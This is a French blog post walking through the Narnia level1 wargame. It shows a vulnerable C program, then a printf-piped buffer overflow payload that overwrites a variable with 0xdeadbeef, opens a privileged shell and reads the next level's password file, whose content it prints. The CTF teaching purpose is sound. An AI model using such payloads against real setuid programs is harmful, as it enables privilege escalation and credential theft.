vendredi 14 octobre 2011

Challenge sur intruded - Narnia Level1

Après Leviathan, je suis allé voir Narnia, qui est une série de challenges orientée failles de programmations, buffer overflows et format string vulnerabilities. Ce challenge est intéressant car il permet de mettre en pratique ces failles dont on entend si souvent parler dans le monde de la sécurité.

Pour mener à bien le début de ces challenges, deux aides. La première expliquant ce qu'est un buffer overflow de manière très didactique:



(image tirée de wikipedia)

Et une deuxième aide dans le man ascii qui donne la correspondance entre l'hexadécimal et les caractères alphanumériques. Au moins une valeur est à connaître, le 0x41 pour le A majuscule, cette valeur revient _souvent_ :-)

Le programme vulnérable à exploiter est celui-ci:
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include
#include
int main(){
        long val=0x41414141;
        char buf[20];
        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);
        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);
        if(val==0xdeadbeef){
                seteuid(1002);
                system("/bin/sh");
        } else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }
        return 0;
}


Avant d'exploiter ce programme, il faut comprendre le lien entre le code source, le code compilé et la mémoire. Ce code est compilé, puis exécuté. L'exécution d'un programme, c'est la copie du code compilé en mémoire, puis son exécution. L'exécution, c'est la parcours régulier de la mémoire, vu comme un fil directeur qui indique quoi faire (lire une variable, écrire une variable, aller ailleurs sur le fil d'exécution, etc..). Dans la mémoire, nous retrouvons plusieurs choses, à commencer par le nom du programme (le fameux argv[0] connu des codeurs C), et les emplacements des variables, qui sont côte à côte.

Dans la mémoire, nous avons donc deux variables contigües, val et buf. buf n'a que 20 octets de reservé. Si buf fait plus de 20 octets alors il déborde sur val. On peut se rendre compte facilement de ce comportement en donnant 22 fois la lettre 'a' minuscule lors du lancement de ce programme (a vaut 0x61 en hex). La variable 'val' contient deux 41 et deux 61 prouvant bien qu'il est possible de modifier une variable sans la manipuler directement. Une variable déborde sur une autre, c'est donc un buffer overflow.

L'exploitation est donnée après le saut:

Les valeurs 0xdeadbeef ne correspondent à aucun caractère imprimable, on peut toutefois les envoyer via un pipe au programme à l'aide du programme printf (le programme shell, pas la fonction C):
level1@narnia:/wargame$ (printf 'AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde'; cat) | ./level1
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAÞ
val: 0xdeadbeef
cat /home/level2/.passwd
u4GTyjtd
^D
level1@narnia:/wargame$ su - level2

Il est nécessaire de fournir la valeur, puis un cat afin que le shell ne termine pas immédiatement. Ensuite, le shell n'a aucun prompt, mais il répond aux commandes.

Aucun commentaire:

Enregistrer un commentaire